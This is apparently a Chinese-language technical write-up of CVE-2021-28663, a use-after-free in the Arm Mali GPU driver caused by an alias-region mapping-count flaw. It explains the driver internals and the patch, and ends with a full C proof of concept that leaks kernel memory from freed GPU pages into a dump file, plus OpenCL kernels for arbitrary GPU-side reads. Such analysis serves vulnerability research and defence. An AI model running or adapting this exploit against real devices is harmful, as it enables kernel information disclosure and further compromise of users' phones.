Skip to content

CVE-2021-28663

原文链接:https://vul.360.net/archives/263

英文版链接:https://www.news4hackers.com/android-kernel-backdoor-vulnerabilities/

1. 背景知识

CPU和GPU共用同一块RAM,各自拥有一个MMU(Memory Management Unit)来管理内存。MMU负责将虚拟地址转换为物理地址的映射过程。

Mali GPU驱动的一个重要功能就是去维护GPU的IOMMU页表。

正常内存操作时,CPU分配一段物理内存,并映射给GPU,GPU从这段物理内存中读取数据,并将计算结果写回到这段物理内存中。

1.1 一些IOCTL命令

  • KBASE_IOCTL_MEM_ALLOCATE:分配内存区域,该内存区域中的内存页会被映射到GPU的地址空间中,同时也可以选择是否将该内存区域映射到CPU的地址空间中。
  • KBASE_IOCTL_MEM_QUERY:查询内存区域的属性。
  • KBASE_IOCTL_MEM_FREE:释放内存区域。
  • KBASE_IOCTL_MEM_GET_SYNC:同步数据,保证CPU和GPU都能及时查看各自的操作结果。
  • KBASE_IOCTL_MEM_COMMIT:改变内存区域内的内存页数量。
  • KBASE_IOCTL_MEM_ALIAS:创建内存区域的别名,即有多个GPU虚拟地址映射到同一物理内存。
  • KBASE_IOCTL_MEM_IMPORT:映射CPU中的内存区域到GPU的地址空间中。
  • KBASE_IOCTL_MEM_FLAGS_CHANGE:改变内存区域的属性。

1.2 内存区域的分配

C
union kbase_ioctl_mem_alloc{
    struct{
        __u64 va_pages; // 该内存区域中最大的虚拟页数
        __u64 commit_pages; // 需要提交的虚拟页数,可以调用KBASE_IOCTL_MEM_COMMIT来改变该值
        __u64 extent;
        __u64 flags; // 内存区域的属性,例如是否被映射到CPU的地址空间中,是否可读可写等
    } in;
    struct{
        __u64 flags;
        __u64 gpu_va; // GPU虚拟地址,GPU可以通过这个地址来访问该内存区域
    } out;
}

64位进程默认使用BASE_MEM_SAME_VA,代表GPU和CPU使用同一个虚拟地址。

特定的申请进程由kbase_mem_alloc()函数来处理。

kbase_mem_alloc()这个函数首先调用了kbase_check_alloc_flags()函数来检查内存区域的属性是否合法。

然后调用kbase_alloc_free_region()函数来分配内存区域kbase_va_region

C
1
2
3
4
5
struct kbase_va_region {
    size_t nr_pages; // 该内存区域中最大的虚拟页数
    struct kbase_mem_phy_alloc *cpu_alloc; // 映射到CPU的内存分配对象
    struct kbase_mem_phy_alloc *gpu_alloc; // 映射到GPU的内存分配对象
};

下一步调用kbase_reg_prepare_native()函数来准备内存区域。这个函数可以初始化reg->gpu_allocreg->cpu_alloc

默认情况下,reg->gpu_allocreg->cpu_alloc都指向同一个内存对象,都是kbase_mem_phy_alloc

C
struct kbase_mem_phy_alloc {
    struct kref kref; // 引用计数器
    atomic_t gpu_mappings; // 虚拟地址映射到该物理地址的数量
    size_t nents; // 当前可用的内存页数
    struct tagged_addr *pages; // 物理页的数组
    struct list_head mappings;
    struct list_head evicted;
    struct kbase_va_region *reg; // 指向区域的指针
    enum kbase_memory_type type; // 内存类型,这里是KBASE_MEM_TYPE_NATIVE
};

经过以上步骤,已经形成了一个初步的数据结构,接下来会调用kbase_alloc_phy_pages()函数为reg->cpu_alloc分配物理页面,然后将reg挂载到 kctx->pending_regions数组中。

kctx->pending_regions在数组中找到一个空闲位置,然后保存reg。需要注意的是,返回值并非实际地址,而是一个临时值,此值将在后续处理中使用。

1.3 内存区域的映射

调用mmap的最后会调用kbase_mmap()函数来映射内存区域。

系统调用的正常语义是将物理页面映射到进程的地址空间。由于驱动程序除了常规的映射功能外,还指定了BASE_MEM_SAME_VA、kbase_mmap(),所以这些物理页面必须映射到GPU地址空间。需要注意的是,CPU和GPU映射的虚拟地址是相同的。

kbase_mmap()函数会调用kbase_gpu_mmap()函数来处理GPU的映射,该函数主要功能是将物理页映射到 IOMMU,即调用kbase_mmu_insert_pages(),然后将alloc>gpu_mappings的引用计数增加1。这个引用计数非常重要,驱动程序通过查看这个引用计数来确定是否可以对相应的内存区域执行相关操作。最终,系统调用的mmap返回值是映射到CPU和GPU的虚拟地址。

在分配物理页时,这些页并未映射到 GPU 的虚拟地址空间,因此 reg->gpu_alloc->gpu_mappings计数为 0;当调用kbase_gpu_mmap()时,这些物理页被映射到GPU空间,此时reg->gpu_alloc->gpu_mappings计数增加1。从语义角度来看,这是非常合理的,因为`gpu_alloc->gpu_mappings准确且及时地反映了物理页在内存区域中的映射状态。然而,随着功能的增加,情况变得更加复杂。

1.4 内存区域的别名

KBASE_IOCTL_MEM_ALIAS命令用于创建内存区域的别名,即有多个GPU虚拟地址映射到同一物理内存,整个步骤可以分为两步:

  1. 通过kbase_api_mem_alias()函数来创建新的reg对象,引用需要别名操作的内存区域,返回假的虚拟地址。
  2. 调用kbase_mmap()函数来映射新的reg对象。

kbase_api_mem_alias()函数的主要逻辑部分是kbase_mem_alias()函数。

首先,kbase_mem_alias()会检查用户传入的标志。别名映射允许CPU只读,而GPU可读写

然后分配一个新的reg,并为其分配gpu_alloc。这里,之前分配的reg并未直接使用,而是创建了一个新的reg

接着根据用户传入的句柄查找reg,经过一些检查后,引用了原始regreg->gpu_alloc->imported.alias.aliased[i].alloc

同时,1 个kbase_mem_phy_alloc_get()会将reg->ref加1。并且kbase_mem_alloc()kbase_mem_alias()一样,都会将reg挂载到kctx>pending_regions数组,返回虚拟地址。之后,用户还需要调用mmapkbase_gpu_mmap,并根据reg的类型(KBASE_MEM_TYPE_ALIAS)执行相应的处理。

kbase_gpu_mmap()的主要逻辑是把kbase_mem_alias()函数中的reg->gpu_alloc->imported.alias.aliased[i].alloc的物理页映射到新的GPU地址空间。如果成功,reg->gpu_alloc->gpu_mappings会加1。

仅从上面的描述来看,操作似乎是合理的,没有明显的错误。

但事实上还是有问题的,具体见下面的漏洞分析。

2. CVE-2021-28663漏洞概述

该漏洞是一个GPU物理页映射时导致的UAF漏洞。

2.1 利用原理

漏洞利用关键在于KBASE_IOCTL_MEM_FLAGS_CHANGE命令。该命令的主要功能是改变内存区域的属性,与之相关的函数是kbase_api_mem_flags_change()

此函数的主要功能是支持BASE_MEM_DONT_NEED操作,即应用程序不再需要某个内存区域的物理页,驱动程序可以缓存这些物理页并在适当的时候释放它们;同时,驱动程序还支持反向操作:应用程序继续使用此内存区域,而驱动程序需要取回缓存的物理页。如果已被释放,则可以分配新的物理页。

以上操作的实现有一个重要的前提条件:reg->cpu_alloc->gpu_mappings不能大于1,因为这代表这个物理页被映射到多个GPU地址空间中。

C
1
2
3
4
5
6
// int kbase_mem_flags_change()
...
if (atomic_read(&reg->cpu_alloc->gpu_mappings) > 1) {
    goto out_unlock;// 不能大于1,直接返回
}
...

当以上条件得到了满足,驱动程序会调用kbase_mem_evictable_make()来清理。

kbase_mem_evictable_make()首先取消CPU的映射(在这之后,CPU或应用程序都无法访问该内存区域)。然后,gpu_alloc->evict_node会被添加到kctx->evict_list中。

kctx->evict_list这个链表会在后续流程中被kbase_mem_evictable_reclaim_scan_objects()函数使用。

kbase_mem_evictable_reclaim_scan_objects()这个函数会遍历kctx->evict_list链表,取消GPU的映射,然后释放掉所有的物理页。

按道理这里应该是不会有问题的。然而我们之前提到过,别名申请时的函数有两个小的组成部分,分别是kbase_mem_alias()kbase_gpu_mmap()kbase_mem_alias()函数会创建一个新的reg,并将其挂载到kctx->pending_regions中。kbase_gpu_mmap()函数会将reg->gpu_alloc->imported.alias.aliased[i].alloc的物理页映射到新的GPU地址空间,并且reg->gpu_alloc->gpu_mappings会加1。

也就是说,如果我们只调用kbase_mem_alias()函数来创建一个新的reg,这个时候的reg->gpu_alloc->gpu_mappings计数仍然为1(因为kbase_gpu_mmap()函数并未被调用)。如果我们此时调用KBASE_IOCTL_MEM_FLAGS_CHANGE命令,驱动程序会看到reg->cpu_alloc->gpu_mappings计数为1,允许我们继续操作并把物理页加入到kctx->evict_list中,并且还有一点很重要的是reg->gpu_allocreg->cpu_alloc仍然有效,并没有被释放。

紧接着,我们调用kbase_gpu_mmap()函数来映射物理页到新的GPU地址空间,这个时候reg的物理页实际上存在两个映射。

最后我们调用kbase_mem_evictable_reclaim_scan_objects()函数来释放物理页,这里清除的GPU映射是一开始的reg,而不是我们刚刚创建的新的reg

2.2 漏洞触发流程

漏洞触发流程如下:


flowchart TD
    A["申请内存区域:kbase_api_mem_alloc"] --> B["映射到CPU和GPU地址(映射1):kbase_mmap"]
    B --> C["索引到内存区域:kbase_mem_alias"]
    C --> D["清除CPU映射(映射1):kbase_mem_flags_change"]
    D --> E["映射到新的CPU和GPU地址(映射2):kbase_gpu_mmap"]
    E --> F["清除一开始的GPU映射(映射1):kbase_mem_evictable_reclaim_scan_objects"]

其中kbase_mem_evictable_reclaim_scan_objects()会在内存不足时被自动调用,即触发shrink机制,因此只要造成内存压力就可以触发该机制。

2.3 漏洞利用方式

即使我们触发了漏洞,得到的别名区域还是必须满足申请别名时的条件:即CPU侧只读,GPU侧可读写。如果我们想要利用这个漏洞,只能从GPU侧来读写数据。

不妨使用OPENCL来进行GPU侧的读写操作:

C
1
2
3
4
5
6
7
8
__kernel void leak_mem_addr(__global unsigned long *addr) {
    *addr = (unsigned long)addr;
}

__kernel void gpu_read(__global unsigned long *addr, int offset) {
    int idx = get_global_id(0);// 线程ID
    *(addr + idx) = addr[idx + offset];// 读数据
}

以上代码实现了GPU任意地址读取数据的功能。

2.4 Patch

漏洞出现的原因在于,创建别名区域和gpu->mmapings计数更新之间存在时间差。修改后,驱动程序会在创建别名区域时,直接将gpu->mmapings计数加1。

3. POC

C
#include <stdio.h>
#include <errno.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <time.h>
#include <sys/mman.h>
#include <sys/epoll.h>
#include <sys/prctl.h>
#include <byteswap.h>

#include "mali.h"

#define PAGE_SHIFT  12 // 4K大小的页

#define ALLOC_SIZE  0xa0000000
#define WRITE_MAX   0x7ffff000

int main(){

 fflush(stdin);
 fflush(stdout);

 struct kbase_ioctl_version_check data;

 data.major = 999;
 data.minor = 999;

 int fd = open("/dev/mali0", O_RDWR);// 打开mali设备,获取文件描述符,O_RDWR表示读写模式

 if (fd == -1) {
  perror("Open mali0");
  return -1;
 }

 if(ioctl(fd, KBASE_IOCTL_VERSION_CHECK, &data) < 0){
  perror("ioctl <KBASE_IOCTL_VERSION_CHECK> failed and returned");
  return -1;
 }

 printf("Version major,minor = %d,%d\n", data.major, data.minor);// 打印版本号

 struct kbase_ioctl_set_flags flags;

 flags.create_flags = BASEP_CONTEXT_CREATE_KERNEL_FLAGS;

 if(ioctl(fd, KBASE_IOCTL_SET_FLAGS, &flags) < 0){

  perror("ioctl <KBASE_IOCTL_SET_FLAGS> failed and returned");
  return -1;
 }

 void *mem_area = mmap(NULL, ALLOC_SIZE, PROT_READ | PROT_WRITE, 
        MAP_SHARED, fd, BASE_MEM_MAP_TRACKING_HANDLE );// 映射内存区域.大小为ALLOC_SIZE,即0xa0000000字节
 if(mem_area == MAP_FAILED){
  perror("mmap failed : ");
  return -1;
 }
 union kbase_ioctl_mem_alloc mem_alloc;

 mem_alloc.in.va_pages =  ALLOC_SIZE >> PAGE_SHIFT;// 计算ALLOC_SIZE对应的页数
 mem_alloc.in.commit_pages = ALLOC_SIZE >> PAGE_SHIFT;// 提交的页数,和va_pages相同
 mem_alloc.in.flags = BASE_MEM_SAME_VA | BASE_MEM_PROT_CPU_RD | 
       BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | 
       BASE_MEM_PROT_GPU_WR;// 申请的内存区域的属性,BASE_MEM_SAME_VA表示CPU和GPU使用同一个虚拟地址,并保证CPU和GPU都可以读写该内存区域

 if(ioctl(fd, KBASE_IOCTL_MEM_ALLOC, &mem_alloc) < 0){
  perror("ioctl <KBASE_IOCTL_MEM_ALLOC> failed and returned");
  return -1;
 }

 void *gpu_va = mmap(NULL, ALLOC_SIZE, PROT_READ | PROT_WRITE,
   MAP_SHARED, fd, mem_alloc.out.gpu_va);// 映射GPU虚拟地址到用户空间(映射1)

 if(gpu_va == MAP_FAILED){
  perror("GPU_VA mmap failed: ");
  return -1;
 }

 printf("GPU_VA is : 0x%llx\n", (unsigned long long)gpu_va);

 union kbase_ioctl_mem_alias mem_alias;

 mem_alias.in.nents = 1;// 分配的内存区域的页数
 mem_alias.in.stride = ALLOC_SIZE >> PAGE_SHIFT;// 分配的内存区域的大小
 mem_alias.in.flags = BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_GPU_WR 
      | BASE_MEM_PROT_CPU_RD;// CPU只读,GPU可读写,这是创建别名区域的条件

 struct base_mem_aliasing_info aliasing_info;// 创建别名区域的结构体
 aliasing_info.handle.basep.handle = (__u64)gpu_va;
 aliasing_info.offset = 0x0;
 aliasing_info.length = ALLOC_SIZE >> PAGE_SHIFT;

 mem_alias.in.aliasing_info = (__u64)&aliasing_info;

 if(ioctl(fd, KBASE_IOCTL_MEM_ALIAS, &mem_alias) < 0){
  perror("ioctl <KBASE_IOCTL_MEM_ALIAS> failed and returned");
  return -1;
 }

 struct kbase_ioctl_mem_flags_change flags_change;// 改变内存区域属性的结构体

 flags_change.gpu_va = (__u64)gpu_va;
 flags_change.mask = BASE_MEM_FLAGS_MODIFIABLE | BASE_MEM_DONT_NEED;
 flags_change.flags = BASE_MEM_FLAGS_MODIFIABLE | BASE_MEM_DONT_NEED; 

 if(ioctl(fd, KBASE_IOCTL_MEM_FLAGS_CHANGE, &flags_change) < 0){
  perror("ioctl <KBASE_IOCTL_MEM_FLAGS_CHANGE> failed and returned");
  return -1;
 }

 printf("flags_change is successful.\n");

 void *alias_va = mmap(0, ALLOC_SIZE, PROT_READ,
   MAP_SHARED, fd, mem_alias.out.gpu_va);// 映射别名区域的GPU虚拟地址到用户空间(映射2)

 if(alias_va == MAP_FAILED){
  perror("ALIAS_VA mmap failed: ");
  return -1;
 }

 printf("ALIAS_VA is : 0x%llx\n", (unsigned long long)alias_va);

 // Just do some operations...
 int stat = open("/proc/self/stat", O_RDONLY);

 void *dummy = mmap(NULL, 0x4000, PROT_READ | PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);// 映射一个4K大小的内存区域
 if(dummy == MAP_FAILED){
  perror("dummy mmap ");
  return -1;
 }

 memset(dummy, 0x41, 0x4000);// 将该内存区域清零

 int fds[2];
 pipe(fds);

 int binder_fds[100];

 for(int i=0; i<100; i++)
  binder_fds[i] = open("/dev/binder", O_RDWR);// 打开binder设备,获取文件描述符

 printf("Looking for leaks...\n");

 int vulnerable = 0;
 int found = 0;

 size_t iterate = ALLOC_SIZE/8;
 for(size_t i=0; i<iterate; i++){
  if((*(unsigned long *)(alias_va + i*8) & 0xffffff8000000000) == 0xffffff8000000000){// 观察内存区域的地址是否在内核空间中
   printf("Found possible kernel addr : 0x%lx\n", *(unsigned long *)(alias_va + i*8) );
   vulnerable = 1;
   found += 1;
  }

  if(found == 50)
   break;
 } 

 int dump_fd; 
 if((dump_fd = creat("./dump.bin", S_IRUSR | S_IWUSR)) < 0){
  perror("Open dump.bin file");
  return -1;
 }

 write(dump_fd, alias_va, WRITE_MAX);

 if(vulnerable){
  printf("Found leaks. Also you can check 'dump.bin' file for more leaks.\n");
 } else {
  printf("Couldn't find any kernel leak, might check 'dump.bin' file.\n");
 }

 return 0;
}